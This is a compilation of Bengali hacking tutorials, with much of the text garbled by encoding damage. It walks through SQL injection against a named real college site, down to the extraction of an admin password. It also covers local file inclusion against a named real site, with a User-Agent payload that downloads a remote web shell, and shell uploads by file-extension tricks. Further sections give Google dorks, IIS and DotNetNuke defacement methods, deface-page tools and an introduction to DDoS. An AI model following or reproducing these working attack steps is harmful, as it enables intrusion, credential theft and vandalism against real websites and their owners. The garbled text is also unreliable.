তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
